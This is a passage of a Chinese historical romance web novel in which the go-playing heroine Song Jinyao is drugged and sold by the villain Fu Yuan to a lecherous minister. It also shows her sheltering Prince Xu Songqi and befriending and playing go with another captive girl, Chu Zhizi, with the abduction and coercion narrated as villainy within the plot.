他的手腕在对方脚下,正被一点点碾碎变形。而踩他的人纹丝不动,脚下力道分毫未减,声音立马引来数人好奇目光。
宋锦瑶抬眸望去,不知傅渊什么时候竟然跑到自己面前来,正一脸鄙视地打量着脚下的客人。
他轻蔑地看着对方,质问道:“你刚刚是想干嘛?是不是想碰她?嗯?”每说一句话,他脚下力气又会加重,“谁准许你碰她了?吃了熊心豹子胆了?”
“傅大人!我错了,再也不敢了,求你大人有大量,放过我吧,我骨头要碎了!!”
手腕传来的疼痛使他咬紧牙关,两行泪水不受控制涌出,就连话也说不清楚。
“还敢有下次?”傅渊恶狠狠地瞪着地上的人。
“不会有了,不会有了,大人。”地上的客人见说不动傅渊,立马转头向宋锦瑶哀求道:“宋小姐,我错了,求你放过我吧,我年纪轻轻还不想断手啊!”
哭声在寂静的夜里显得格外凄凉,刚从大火里逃出来的客人瞧见这一幕,纷纷低下头,个个脸上面露难堪。
注意到人群眼中流露出的情绪,宋锦瑶垂眸看着那名疼得早已叫不动的客人,于心不忍,缓缓说道:“傅公子,求你网开一面放过他吧。”
此话一出,傅渊一脸震惊地盯着宋锦瑶,气笑道:“宋韵,你知道这小子想干嘛吗!竟然敢在公共场合……”
他的话还没讲完,宋锦瑶打断道:“我知道。所以,还请傅公子网开一面,放过他吧。”
傅渊:“……”
见他果然将脚松开后,周围人群顿时松了口气,地上的客人也感激地看着宋锦瑶。
而傅渊被她这话气得火冒三丈,他伸出手指指向宋锦瑶,咬牙切齿道:“好啊宋韵,就因为你这种性格,活该被人欺负,活该受尽委屈,活该被造谣侮辱,根本一点都不冤枉!”
宋锦瑶:“……”
说完,傅渊转身离去,只剩下她一个人依然低着头,让人看不清脸上任何情绪。
傅渊走后,地上那名男子哪怕手腕变形,也要慢悠悠朝宋锦瑶磕头认错,每磕一下,额头都被砸得红彤彤。
他的眼泪打在地上,可眼中却满是感激,甚至超越身上的疼痛。
“多谢宋小姐相救,感谢宋小姐还小生一个未来,小生以后再也不敢随便欺负任何女子,保证老老实实做人。”
闻言,周围刚刚从大火里逃出来的人们,也纷纷朝宋锦瑶鞠躬道谢:“宋小姐才不是傅公子所说那般不堪,宋小姐为人处世我们都看在眼里。”
“宋韵小姐善良正直,宋韵小姐天纵奇才,宋韵小姐貌美如花!”
宋锦瑶惊愕地看着眼前一幕,怔了好一会儿,才忍不住笑出声。
周围人瞧见她终于笑了,脸上也露出开心的神色,相互打气庆祝。
“宋小姐新年快乐!来年一定愿望成真!”
“谢谢,你们也是,新年快乐。”
这场大火,仿佛烧尽了她在这里的侮辱与不堪,接下来,是重获新生的光明与荣耀。
明明是一望无际的夜晚,此刻,竟然出现了几颗闪闪发亮的星星。它们不怕乌云的阻挡,而是倾尽全力将自身的光亮展现出来。
宋锦瑶撑着脑袋,抬头凝视着眼前漆黑的夜空,回想到今日所发生的一切,不禁轻笑出声。
“想到什么事,这么开心?”
突然,从她的身后传来一道温柔地声音。
宋锦瑶没有回头查看,而是像早已料到似的,缓缓回道:“突然发现,我好像从始至终,并不孤单。”
30. 030
夜色渐浓,窗外又纷纷扬扬飘起小雪。
宋锦瑶回眸望向正坐在椅子上的徐颂祁,眸中划过温柔,起身走到他面前停下。
“大半夜闯进来,不怕我喊人抓你?”她微微扬起下巴,故作嗔怒。
徐颂祁满眼宠溺地将目光落在她的脸上,眉眼舒展,乖乖把手上交,笑道:“宋小姐饶命啊,本王实在是没地方可去,还请宋小姐好心收留。”
听闻,宋锦瑶眨眨眼,故意装作一副可怜的模样望向他,歪头问道:“是嘛?徐颂祁,王爷当成这个份上,你觉得会信吗?”
见她不上当,徐颂祁忍不住发出爽朗的笑声:“宋锦瑶,半年不见,你倒是变聪明许多。”
宋锦瑶没有在意他的话,满脸忧心忡忡地在他对面坐下,不禁叹了口气。
“徐颂祁,你能告诉我,如今的朝廷到底怎么了?还有,你真的选择站在圣上那边吗?”
闻言,徐颂祁神色愣住半刻,房间内立马陷入安静。
“如果我说是的,你会怎么想?”他转头,垂眸望向桌子上的剪纸。
身旁的宋锦瑶没有立刻回答,而是认真地沉思片刻,随后,她满眼正经地开口回答道。
“我会支持你。”宋锦瑶对上徐颂祁那双满是惊愕的眼睛,继续说道,“徐颂祁,无论你如何选择,我都愿意相信你,你的选择一定不会错。”
他没有说话,一双眼睛久久地凝视着宋锦瑶,直到眼睛酸涩,才慢半拍地将头撇向一旁。
徐颂祁轻咳一声,含糊道:“今日来得匆忙,身上没带多少银两,不知可否在宋小姐这里留宿一晚?”
宋锦瑶歪头打量着他,嘴角微微上扬,调侃道:“真没带钱啊?嗯?”
“嗯。”徐颂祁连忙闪躲她的目光,像是被她的眼神攻击打得连连败退。
第一次瞧见他这副模样,宋锦瑶强忍着笑意,点头道:“那好吧,只不过小女房间狭小,今晚得委屈王爷一晚了。”
宋锦瑶拿出新被褥,仔细地铺在床榻上,没有枕头,只好用外衣堆成一团充当枕头。准备好临时睡觉的地方后,回头一看,一眼便对上徐颂祁那双含笑的眼睛。
她抱着被褥,疑惑地望向他:“怎么了?今晚你睡床上吧,毕竟让王爷沦落至此,已经是我的罪过了。”
就在宋锦瑶转身之际,徐颂祁轻轻拉住她的衣角,狭长的眼睛微眯:“宋锦瑶,你是说让我眼睁睁看着你睡床榻?”
她看着那双眼睛,不明所以地点头。
见状,徐颂祁没好气地叹了口气,他将她摁在床边,示意她好好坐着别动,自己接过她手上的被褥,朝简易窄榻走去。
“是我先打扰你的,今晚我睡床榻。”
窗外大雪纷飞,即便屋内有炭火取暖,但寒意依旧阵阵袭来,刺骨难耐。
宋锦瑶没有说话,低头垂眸盯着地板,忽然开口说道:“今晚格外寒冷,如果你不嫌弃的话,可以与我一同睡在床上。”
话音刚落,她不敢抬头去看徐颂祁脸上的表情,只感觉脸颊微微泛红。
听到头上传来一道浅笑,徐颂祁毫不犹豫地点头道:“好啊,那就打扰了。”
说是睡在同一床上,但他们之间相隔甚远,中间还隔着一床厚厚的被子,宋锦瑶更是不敢转过身。
漆黑的房间内,只有对方传来有规律的呼吸声。
宋锦瑶眼神晦暗,闷闷的声音在房间内响起:“徐颂祁,眼下这种情况,要是我想与你联系,该怎么办?”
对方没有回答,宋锦瑶一度以为是他睡着了。
半响,徐颂祁缓缓回道:“要是突发什么情况,你就跑到我们再次见面的廊下等我,我看到一定会出现的。”
“嗯。”宋锦瑶浅浅应了声,慢慢用被子遮住脸庞。
今晚对她来说发生太多事情,宋锦瑶平静几秒后,睡意立马涌上来,大脑逐渐混沌,眼皮也越来越沉重,怎么也睁不开。
她强撑着睡意,迷迷糊糊朝他说道:“徐颂祁,今天见到你,我真的很开心,晚安。”
对方有一刻的愣神,随后闷哼一声:“晚安。”
深夜,宋锦瑶总感觉有什么东西压着自己,她眉头紧锁,想要挣开,但全身使不上力气,干脆又沉沉睡去。
一夜天亮,等她醒过来时,床边的人早已不见踪影。
宋锦瑶伸了伸懒腰,刚想下床收拾自己,门外突然响起丫鬟急促的声音。
“小姐,傅公子让你过去,说有件好事情要告诉小姐。”
好事情?有什么好事情能落在她的头上?
宋锦瑶停下动作,警惕地望向门外。
下了一整晚的大雪,外面已经是白茫茫一片。宋锦瑶刚走进傅渊所说的大厅内,一眼便瞧见他饶有兴致地在喝酒,脸上却丝毫没有醉意。
见她进来,傅渊嘴角勾起一抹不怀好意的笑,连忙叫她走近些。
他装模作样地给宋锦瑶倒了一杯酒:“宋锦瑶,关于昨晚的事情,我都听手下说过了,是我误会你了,我自罚三杯。”说着,他毫不犹豫地拿起酒杯,一饮而尽
宋锦瑶冷冰冰地打量着他,眼神中流露出一丝厌恶:“听说你特意喊我过来有好事?到底是什么事?”
听出她话里的言外之意,傅渊又饮了一杯酒,眼色复杂地看着她,说道:“宋锦瑶,你为何从未正眼瞧过我?明明你曾经亲口说过,会一直喜欢我。”
宋锦瑶:“……”
傅渊神色迷离,仍不甘心,继续说道:“宋锦瑶,你只要现在承认还喜欢我,我就原谅你所做的一切,甚至愿意救你。”
听闻此言,宋锦瑶久久没有回答,直到屋内一片寂静。
良久,她重新抬眸看向眼前这个男人,绝情道:“傅渊,那是曾经,曾经的宋锦瑶已经死了,而我将会一直痛恨你,直到永远。”
傅渊猛地抬头,满眼惊愕地看着她那双认真的眼眸,整个人怔在原地
突然,他仿佛想到什么,握紧酒杯,低垂着头,忍不住发出阵阵笑声。
“宋锦瑶啊,宋锦瑶,真不愧是你。”
上一秒的柔情在此刻彻底破碎。
傅渊恶狠狠瞪着她:“宋锦瑶,有位大官人看上你,愿意花无数银子来买你回去。”
傅渊倏然起身,像看待玩物一样看着宋锦瑶:“听说那位大官人是出了名的好色,每晚都会沉浸在温柔乡中,只要是他看上的女人,下场都是死在床上,最后被丢给他家的疯狗吃。”
听闻,宋锦瑶身子一僵,眼睛死死盯着傅渊:“所以呢?你同意了?”
注意到她眼底神色骤变,傅渊继续说道:“你是我的招牌,我当然不愿答应,可你一次又一次让我失望,我突然就想明白,与其让你留在这里折磨你我,还不如同意。”
“失望?我看是你的地位受到威胁了吧?亦或者我已经没了价值?”
“宋锦瑶,你也就最后再嘴硬一下。”他倏然靠近她,一字一顿说道,“真好奇把你送到那位大人府上,你的下场会是如何惨烈。”
宋锦瑶:“……”
怎么这样看着我?这难道对你来说不是好事吗?你可是终于能摆脱我,恢复人身自由了啊。”
他之所以能同意口中所谓的大人的要求,恐怕是背后皇室之人想让她消失的最好办法。
无论他在谋划什么,其主要目的就是让自己死亡或者消失。
宋锦瑶嘴角微扬,点头附和道:“是啊,这可真是天大的好消息,我求之不得快点离开你。”
此言一出,傅渊脸色“刷”一下倏然变黑,他满眼不可置信地凝视着宋锦瑶,注意到她眼底那股坚定的眼神,忍不住嗤笑一声,随后毫不犹豫地转身离开。
直到房间内再次恢复安静,她才敢松懈下来喘口气。
她目光死死地盯着门口,心里
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早已开始琢磨对方到底在想什么,以及那位大官到底是谁。
如果她没猜错,傅渊那番话就是在试探她,可他身后那位大人执意要她的性命,纵使她真顺着他的话讲,傅渊又会有什么打算?
她不知道,也不想知道。
但眼下这个举动,她必须得告诉徐颂祁。
一下午过去,最后一场对弈结束,宋锦瑶扭了扭手腕,神色疲惫地不断按压眉心。
本想出去透口气,路过棋阁大厅时,正巧听到身边的侍卫窃窃私语的声音。
“我劝你还是早点离开,听说王爷已经到这里了,要是被发现我们杀死他的手下,迟早都得掉脑袋。”
另一个半信半疑地说道:“这消息准确吗?傅公子说皇室的人不可能找到这里来,况且朝廷之事够王爷忙得了,怎么可能为了一个女子千里迢迢赶到这里。”
这么一说,那人有些犹豫不决:“也是,而且只要王爷敢进来,傅公子也顾不上皇室不皇室,一律格杀勿论。现在这个时候出现,岂不是白白送命?”
两人同时陷入沉思。
宋锦瑶本想悄无声息地离开,但注意到周围并无太多侍卫,或许这是买通他们的最好时机。她思索片刻,立刻走上前。
两位侍卫瞧见宋锦瑶走过来,刚刚还松懈的神情瞬间严肃起来,立马站直身子,向她行礼。
她自然没有在意,脸上带着些许笑容:“我刚刚听闻你们在讲王爷的事情?能否和我说说?”
见他们犹豫不决,宋锦瑶赶忙偷偷将银子塞进他们手中,脸上笑容依旧,继续说道:“小小心意,还请两位大哥多多理解。”
他们低头查看,感受到手中沉甸甸的银子,原本犹豫不决的神色立马换成满脸笑意。
“宋小姐客气了。听傅公子说,王爷最近并不在京城,很可能已经发现棋阁的存在,正在过来的路上。”
听闻,宋锦瑶疑惑问道:“傅公子如何得知此事?为何如此惧怕王爷?”
两位侍卫面面相觑,不知如何回答,直到另一个侍卫干脆豁出去,注意到周围没有可疑人后,才敢低声对她说道。
“宋小姐有所不知,傅公子不仅绑架王爷最欣赏的女子,还杀死王爷的贴身侍卫。为此,傅公子每天忧心忡忡,幸好绑架的那人即将被人买走,也算是解决了傅公子的一桩心事。”
“只可惜是位年近六旬的老者,品德极其恶劣,之前没少在棋阁里挑选年轻女子,至今没有一个能活着回来的。”
虽然宋锦瑶已经知道这件事,但再次听到,后背还是微微发凉。
见她嘴唇发白,两位侍卫同时对视一眼,安慰道:“宋小姐不必担心,傅公子自有安排,听闻此次计划,是特意为勾引王爷出现。”
“勾引王爷出现?”宋锦瑶疑惑地看着那名侍卫。
“是啊,傅公子爱戴那名女子,自然不可能轻易放弃,我只是猜测,傅公子为何突然同意,只是为了勾引王爷出现,借此杀死王爷。”
这么一说,宋锦瑶立马明白对方意思。
“总而言之,宋小姐还是自求多福吧,最近棋阁也不太平,想必之后的日子,要么王爷死,要么傅公子亡。”
宋锦瑶微微点头,努力表现出平静的神色,礼貌地向两位侍卫道谢后,连忙朝后屋跑去。
一路上的寒风打在她的脸上,她却全然没有感觉。
整个大脑混沌不堪,一心只想快点找到徐颂祁,告诉他这个秘密,让他不要管自己,快点逃离这个地方。
傅渊早就猜到他知晓此事,特意将她设为棋子,编织这个骇人的计划,其目的就是引出徐颂祁。
而现在,傅渊已经将这个模糊的计划放出去,只要徐颂祁敢出现在他的视野里,会像林萧那样被万人射死。
她不愿看到这个画面,更不想再有人为自己而死。
拜托,求你一定要出现在约定好的地方。
31. 031
廊外一片寂静,往日的侍卫不见踪影,安静得让人心里直发毛。
风声萧萧,大雪飘落在屋檐上。宋锦瑶一个人小心翼翼走进廊内,她不安地攥紧手指,心里不断祈祷他能平安无事过来。
一阵风起,在空荡荡的后院中打着旋,让人感到脊背发凉。
宋锦瑶敏锐地察觉到身后来人,以为是徐颂祁过来了,暗暗松了口气。
转头的瞬间,她赶忙开口道:“我听侍卫说傅渊……”
话音刚落,她猛地抬头,视线对上那双深不见底的眼眸。
看清来人是傅渊的那一刻,她整个人瞬间愣在原地。
宋锦瑶呼吸一滞,眼底闪过的惊愕毫无保留地被傅渊尽收眼底。甚至当傅渊看到她那不可置信的神情时,嘴角忍不住微微上扬,露出意味深长的笑
傅渊的声音带着一丝戏谑:“听到什么了?怎么不继续说?”
见她不说话,傅渊脸上的笑容越发浓郁:“宋锦瑶,你在这等谁?徐颂祁?还是其他皇室的人?”
宋锦瑶:“……”
她慢一拍意识到,从始至终这都是傅渊一人精心策划的预谋。他故意派人在她面前说漏嘴,就是为了引起她的注意,进而顺藤摸瓜揪出徐颂祁的真实踪迹。
想到这里,宋锦瑶面露难堪,双眼直直地盯着傅渊:“傅渊,你卑鄙。”
“是啊,我可从来没说过我是好人。”傅渊挑眉笑道,“宋锦瑶,你可真胆大,居然敢在我的眼皮下将徐颂祁藏起来。”
“要不是我察觉到不对劲,你们是不是还想在这里上演恩爱重逢?”
她努力让自己镇定下来,仔细观察着周围的一举一动,试图寻找逃脱的机会。
“那又怎样?傅渊,你无论如何策划计谋,你的结局永远都不会好过,死亡才是你最后的结果。”
听闻,傅渊嘴角的余笑立马变得僵硬,取而代之的是厌恶的打量:“宋锦瑶,死到临头还嘴硬,我倒要看看最后,到底是你死还是徐颂祁亡。”
宋锦瑶心里清楚,若继续站在这里,迟早会招来徐颂祁的注意。
她注意到傅渊身后并没有侍卫跟随,一个大胆的想法在她心中萌生。
趁着傅渊一副胜券在握的模样,宋锦瑶假装做出慌张神色,快速看向他的身后。
“王爷?你怎么来了?”
此话一出,傅渊肉眼可见的怔在原地不敢动,双腿更是下意识发软。
就在他转头回望的瞬间,宋锦瑶毫不犹豫转身,朝着廊内拼命跑去。
傅渊回头的刹那间,立马意识到自己被骗,脸色瞬间变得铁青,连忙朝宋锦瑶大喊:“快抓住她!别让她跑了!”
宋锦瑶不顾一切地朝着黑中奔去,心中只有一个念头:只要摆脱他们就好了,只要再快一些就好了,就差一点点就能永远离开这里。
她不敢大声喘气呼吸,鼓起勇气一口气朝出口疯狂跑去,寒风如刀割般刮在她的脸上,她竟没有一丝感觉。
就在她即将快跑到出口的瞬间,出口赫然站着一排拿着弓箭的侍卫,他们目光凶狠地盯着宋锦瑶,随时等待猎人的命令。
她猛地停下脚步,刚想转身回头,不料对上傅渊那双看好戏的眼睛。
傅渊忍不住嗤笑一声:“跑啊,宋锦瑶,你不是挺能耐的吗?怎么不跑了?”
她握紧拳头,眼睛死死瞪着傅渊。
“既然你跑不动了,那就麻烦跟我走一趟吧。”
说着,侍卫们步步紧逼,将宋锦瑶团团围住。其中一个侍卫迅速拿出一个麻袋,一把将宋锦瑶的头蒙住,麻袋里面还残留着些许迷药。
宋锦瑶只感到刺鼻的气味扑面而来,她挣扎了几下,意识便渐渐模糊。
一路上,她强迫自己保持仅剩的清醒,她迷迷糊糊中感觉到自己被人粗暴地丢进马车,随后开始行驶。
她不知道傅渊又要把她带去哪里,在意识彻底消失前,她用尽最后一丝力气,将唯一能证明自己身份的手链拼命甩在地上。
等将头上的麻袋拿走后,眼前的光亮让人感到刺眼。
宋锦瑶眉头微蹙,还没看清眼前场景,耳边就传来一道中年妇女的尖锐声音。
“哟,醒了啊,快过来装扮,等会还要去见左丞大人。”
听闻,宋锦瑶强忍着头疼,半睁开眼睛,抬头望去。才发现自己身处一个陌生的闺房中,房间里除她以外,还有许多陌生的年轻女子。
这些女子全都不超过二十岁,脸上满是恐惧绝望,甚至还有好几个女子的妆都已经被哭花。
见她没有回应,好几个中年丫鬟立刻围上来,将宋锦瑶强行压过去,摁在椅子上,便开始火急火燎给她化妆。
宋锦瑶十分警惕地上下打量着周围的一切,回想着丫鬟刚才所说的话,她仔细观察着房间里的每个人。
他们口中的尚书左丞,想必就是傅渊口中提到的那位大人物,也是花无数银子买下她的人。
至于这里的其他女子,应该也是傅渊为了讨好这位大人,到处拐卖来的无辜少女。
宋锦瑶微微抬头,小声朝给自己化妆的丫鬟询问道:“请问傅渊公子在哪?我找他有事。”
满脸戾气的丫鬟在听到傅渊的名字后,脸色瞬间变了模样,脸上堆满笑容,笑呵呵回道。
“你就是傅公子送进来的小女子?啊呦,长得可真水灵。现在可不行,现在傅公子和尚书左丞大人在客房商量大事呢。”
“这里每天都有这么多女子被送进来吗?”
“是啊,为此尚书大人极其看重傅公子,听说他愿意将你买给尚书大人,大人连忙准备宴会好生招待傅公子。”
好一个蛇鼠同窝。
宋锦瑶笑笑没说话,房间内又陷入一片安静,只有些许女生隐隐约约的哭泣声在房间内回荡。
见她们蹲着哭个不停,身旁的丫鬟立马不耐烦,满眼厌恶地朝那群女子大声责骂道。
“哭什么哭,让你们服侍尚书大人,是你们这些贱奴最好的归宿,你们应该多感谢傅公子才对,万一尚书大人看上你们,指不定哪天就能飞上枝头变凤凰。”
此话一出,原本还在小心翼翼抽泣的女子这下彻底崩溃,哭声瞬间响彻整个房间。
其中一名女子哭得尤为伤心,宋锦瑶早就注意到她,等装扮好后,默默走到她身侧。
走近些才发现,这位女子脸上的稚气都未褪去,甚至满手的被打的痕迹,想必在被抓时,受过严重的挨打。
宋锦瑶垂眸注意到这点,立马从衣袖中拿出手帕递给地上的女子,关心询问道。
“哭花就不好看了,擦擦。”她一同蹲下,眼神流露出柔情。
地上的女子惊愕地抬眸望向宋锦瑶,半响,她又低下头,轻轻点头。
女子接过手帕,轻轻擦拭脸上的污渍,一声不吭。
瞧见还有些时间,宋锦瑶歪头,好奇又关切询问道:“能否询问姑娘的身份以及为何会在这吗?”
闻言,女子缓缓抬头,对上她那双关切的眼睛,犹豫片刻后,开口回道:“我叫楚栀子,家道中落沦为家奴,因会点围棋而勉勉强强养活自己,如今却因为长相被傅公子强行迷晕丢在这里。”
说到后面,她的声音有些哽咽:“宋小姐求你救救我,我还不想死,只要让我活着,我一定证明女子也能比男子厉害。”
楚栀子紧紧抓住宋锦瑶的衣角,哭得泪流满面。
宋锦瑶没有说
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话,只是静静地低头看着身下的人:“你会下围棋?
楚栀子缓缓抬头,不明所以看着宋锦瑶,点点头:“嗯,父亲生前喜好围棋,所以我也略懂一二。”
听闻,宋锦瑶猛然握紧她的手,激动道:“楚姑娘,如果你真想尝试改变偏见,不妨与我……”
话音未落,身旁丫鬟察觉到不对劲,急忙打断道:“宋小姐,时候不早了,该去傅公子那边。”
还没等宋锦瑶开口说话,几名丫鬟相互对视一眼,立马心领神会,赶忙拽住她往门外走去,嘴里还不断嘟囔道。
“还请宋小姐别为难我们,我们只是听从主子命令罢了。”
宋锦瑶使劲挣扎也无济于事,干脆甩开她们的手,冷着脸自己走过去。
尚书左丞的□□内,每一处家具都透露着奢华与富贵。宋锦瑶被人押进□□时,一眼便瞧见为首的傅渊正坐在椅子上,和左丞谈笑风生。
与左丞对视的一瞬间,对方眼睛立马亮了个度,双眼色眯眯地盯着宋锦瑶那张脸,口水都快流出。
左丞拍了拍傅渊的肩膀,小声道:“傅渊,我曾听闻你棋阁招牌美貌还不屑一顾,如今这一瞧,确实没说错。”
闻言,傅渊只是笑笑,谦和道:“尚书大人谬赞,宋小姐不仅美貌如花,棋法也是数一数二。如今是你的人,你想怎样就怎样。”
听到这话,两人相视一笑,发出令人作呕的声音。
“宋韵过来,和尚书大人对弈一番试试?”傅渊起哄道,“让尚书大人见见你的实力。”
尚书连忙摆手拒绝,笑道:“宋小姐实力我还是听闻,对弈大可不必。”
傅渊强词夺理道:“不让尚书大人瞧瞧,傅某实在是心里过不去,还请尚书给傅某一个面子。”
虽然不懂他为何如此执着,但尚书脸上笑容可愈发僵硬,最后没办法,只好硬着头皮点头同意。
宋锦瑶全程没有说话,一袭白色罗裙,乖乖坐在棋桌前。
她微微垂眸,凝视着棋盘,注意到那双恶心的目光,只能当做视而不见。修长的手指轻轻捻起一枚白子,在落子前稍作停顿。
尚书左丞身形微微发福,脸上挂着和善的笑,可双眼却不时在宋锦瑶身上游走。
“宋姑娘,这步棋,你可得好好思量啊。”尚书声音带着几分关切,但让人感到不适。
宋锦瑶眉头微蹙,将白子落下,平静道:“尚书大人,小女不过是随心落子,还望大人莫要见笑。”
尚书目光紧盯着宋锦瑶的脸,嘴角扯出一抹笑:“宋姑娘聪慧过人,这棋艺也是越发精湛。只不过常待在棋阁中,姑娘难免寂寞,若能待在尚书府,与我切磋棋艺,倒也能解姑娘的烦闷。”
他一边说着,一边伸出手,假装要去拿棋子,其实故意将手往宋锦瑶那边伸近。
宋锦瑶不留痕迹地往后缩了缩,面上依旧保持着镇定:“大人谬赞,尚书府事务繁忙,大人日理万机,小女怎敢过多打扰。”
棋局继续,尚书心思显然不在棋盘上,他的每一步棋都下得随意,眼睛却始终盯着宋锦瑶。
“宋姑娘,听闻你尚未许配人家,以姑娘的才貌,若能寻得一门好亲事,定能幸福美满。”他说着,眼中闪过一丝狡黠。
宋锦瑶努力压制着内心的厌恶,强颜欢笑道:“多谢大人关心,小女终身大事自有安排。其他的,暂未考虑。”
尚书依旧不肯罢休,又落下一子,说道:“不瞒姑娘说,本尚书对姑娘是一见倾心。若姑娘能嫁入我府内,必定享尽荣华富贵,我定当百般疼爱。”
说着,他大胆伸出手,想要去抓宋锦瑶的手。
身侧的傅渊全程看着这一幕,眼中闪过一丝复杂情绪。
32. 032
宋锦瑶猛地起身,衣袖带得棋盘微微晃动。
她眉头微皱,语气愠怒道:“尚书大人,还请您放尊重些!小女虽是一介女流,却也不容大人这般轻薄!”
听闻此言,傅渊脸色一沉:“宋锦瑶,你别给脸不要脸!堂堂尚书左丞大人看上你,是你的福气!”
“况且从今后起,你就是大人的人了,这府里上下都得听大人的。”
宋锦瑶:“……”
大人瞧见,赶忙笑呵呵道:“宋姑娘莫要生气,是我失态了。这漂亮脸蛋生气起来,可真让人心疼不已。”
说罢,门外便走进来一群女子。她们满脸麻木,身体却早已习惯,下意识走到尚书身旁,帮他按摩肩膀。
尚书自然而然地靠在那群女子身上,目光停留在宋锦瑶脸上,满脸玩味地说道:“宋姑娘,今日你可得跟她们多学着点,如何好好服侍我,逗我开心。”
说着,他随意朝站在门口的一位女子招了招手。瞧见这位女子脸蛋生得粉嫩,尚书忍不住眼角笑眯眯。
宋锦瑶一眼便认出这位女子是楚栀子,本想出言制止,却没想到对方先开口。
“跪下,给我垫垫脚。”
此话一出,宋锦瑶和楚栀子同时抬头,满眼震惊地看向尚书。
“看什么看,听不懂人话吗?过来!”
楚栀子一脸难堪,低着头不说话,显然不想给这种人跪着垫脚。
宋锦瑶赶忙开口:“尚书大人,我想……”
她的话还没说完,就被打断:“宋姑娘别急,我让你看看傅公子送给我的奴仆,是多么听话又好看。”
尚书转头,脸上残留的笑容陡然变得凶狠:“想死吗?别让我再说第二遍。”
楚栀子一声不吭地攥紧拳头,强忍着怒火走到他面前,不敢抬头看大家的脸色,默默屈膝蹲下。
见此情景,尚书脸上又浮现出笑容,惬意地将双脚搭在楚栀子背上。
“宋姑娘觉得这奴仆如何?傅公子眼光是不是很不错?”
见宋锦瑶神色黯淡,迟迟没有开口回应,傅渊赶忙赔笑着回道:“尚书大人喜欢便好,还请大人多关照傅某。”
两人一唱一和地谈论起来,直到傅渊离开,尚书脸上依旧笑意盈盈。
傅渊假惺惺地提醒道:“尚书大人,宋姑娘情况有些特殊,可能会招来闲人打扰,如有发现一律射杀即可,还望见谅。”
尚书左丞连连点头:“傅公子放心,宋姑娘貌美如花,无论是谁想夺走,我都不会客气。”
宋锦瑶面无表情地望着两人令人作呕的模样,忍不住冷笑一声,毫不犹豫地转身朝里走去。
夜色如墨,天上没有一颗星星。
宋锦瑶被安排好房间后,环顾四周,刚想出去透透气,门口突然传来一阵敲门声。
“谁?”宋锦瑶瞬间警惕起来。
声音一响,门外顿时安静下来,紧接着传来一道小心翼翼的声音:“是我。”
楚栀子?
宋锦瑶立刻打开门,瞧见楚栀子的第一眼,便见她一脸委屈地看着自己。
还没等宋锦瑶反应过来,楚栀子毫不犹豫地紧紧抱住她,身子止不住地发抖。
“宋姑娘,对不起,我不是故意来打扰你的。”她哭得一把鼻涕一把泪,趴在宋锦瑶怀里,“那个死王八…他想……他想侵犯我,我好害怕。”
宋锦瑶身子一僵,听着怀里人的哭泣声。
注意到外面人多嘴杂,宋锦瑶连忙把她拉进房间。安抚好楚栀子后,宋锦瑶才开口问道。
“怎么回事?”
楚栀子抽泣着回道:“自从你和傅公子相继离开后,尚书就对我不怀好意,甚至直接伸手摸我,我害怕,就逃了出来。”
楚栀子年纪应该和宋锦初相仿,一双含情目十分惹人怜爱。
“宋姑娘,我会不会死掉啊。我不想死,更不想一辈子待在这里。”
宋锦瑶垂眸看着她,认真地回道:“你不会死的。”
闻言,楚栀子满眼震惊地盯着宋锦瑶,眼眶里蓄满泪水也顾不上擦拭。
“只要有一线生机,我便会毫不犹豫救你。楚栀子,请相信我。好吗?”
“好。我相信你。”
夜晚寂静无声,只有两位女子在这深宅中相互慰藉。
注意到宋锦瑶房间里竟然有围棋,楚栀子的目光久久落在棋盘上,流露出羡慕与渴望。
瞥见她目不转睛的目光,宋锦瑶忍不住轻笑一声:“想试试吗?”
听闻,楚栀子这才反应过来自己的失态,连忙摆手拒绝道:“不必了,我曾听闻宋姑娘的事迹,自然比不上宋姑娘的棋艺。”
宋锦瑶见状,还是把棋盘端了过来,若有所思地望向她:“是我想与你对弈一番,就当玩玩,可否给个面子?”
她都这么说了,楚栀子自然不好再拒绝,便点头同意。
宋锦瑶执黑子先行,她抬手将棋子落在右上角小目位,楚栀子见状,将白子落在小目高挂处,试探黑方应手。
随着棋局推进,楚栀子只求稳扎稳打,但宋锦瑶疯狂在进攻,她不得不被引得防守为攻。
宋锦瑶仔细打量着楚栀子下得每一步,她假装随意落子,其实是想打乱楚栀子节奏,试探真正实力。
注意到她眉头微蹙,宋锦瑶调侃道:“你好像有点跟不上我的节奏啊,可要努力加油哦。”
听闻,楚栀子深吸口气,时刻让自己保持冷静。
她仔细审视棋盘,惊起发现宋锦瑶布局中的破绽,果断“打入”,进攻黑方阵营,局势瞬间紧张起来。
见状,宋锦瑶不禁眉头微挑,迅速收起随意神态,开始对楚栀子的白子展开反包围。
“宋姑娘果然和传闻中那样厉害,简直与我偶像一般。”
“偶像?”宋锦瑶抬眸疑惑看向她。
楚栀子嘴角不动声色上扬,轻轻点头:“她也姓宋,名锦瑶。听闻棋法了得,敢爱敢恨,不禁宣言要打破棋坛偏见,还战胜无数大官,让人不得不佩服。”
宋锦瑶没有说话,只是轻轻含笑。
棋局进入白热化,双方你来我往,互不相让。
眼见着楚栀子逐渐占据上风,宋锦瑶决定孤注一掷,故意下自杀式的一步棋,试探她思想取决。
楚栀子见状,手中棋子明显犹豫起来,思考片刻,还是选择冒险一试,直接下进宋锦瑶陷阱里。
可她根本不知道宋锦瑶会通过舍弃的棋子,获得更大的利益,瞬间将她的上风打散。
【糟糕!这竟然还在她的计划内。】
楚栀子暗自叫苦,她深吸口气,决定放手一搏,按照家族棋谱记载,小心翼翼落下白子。
之后的每一步棋子,楚栀子死死抓住核心点,局势立马发生变化。
宋锦瑶瞧见这步棋,眉头微蹙,意识到自己低估楚栀子,本想落子制止,却不曾想楚栀子凭借这关键一步,成功锁定胜局。
“我输了。”
宋锦瑶放下棋子,脸上露出无奈的笑容。
楚栀子意犹未尽看着宋锦瑶,额头微微渗出汗水,不断喘着粗气。
“宋姑娘棋艺果真凶狠独特,我也只是侥幸获胜。”
宋锦瑶将棋子收回,抬眸看着满脸高兴的楚栀子,脸上的泪水早已消失不见,也忍不住跟着浅笑。
“楚栀子,无论是你的棋法或是思考能力,都比常人要敏锐厉害得多。想过与我一同打破偏见吗?”
闻言,楚栀子双眼不禁微微放大:“是像偶像那样吗?我可以吗?”
宋锦瑶点点头:“当然,将来你一定比你偶像还要厉害。”
楚栀子怔在原地,双眼久久盯着宋
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锦瑶那张脸,甚至忘了呼吸。
她张了张口,刚想回答,不料门外突然想起一阵脚步声,紧接着丫鬟的声音随之响起。
“宋姑娘,尚书大人叫你过去一趟。”
尚书?
宋锦瑶和楚栀子同时抬头望去,楚栀子赶忙抓住宋锦瑶的手,轻轻摇头。
没听到里面有回应,丫鬟不禁微微蹙眉,继续问道:“宋姑娘,你在吗?”
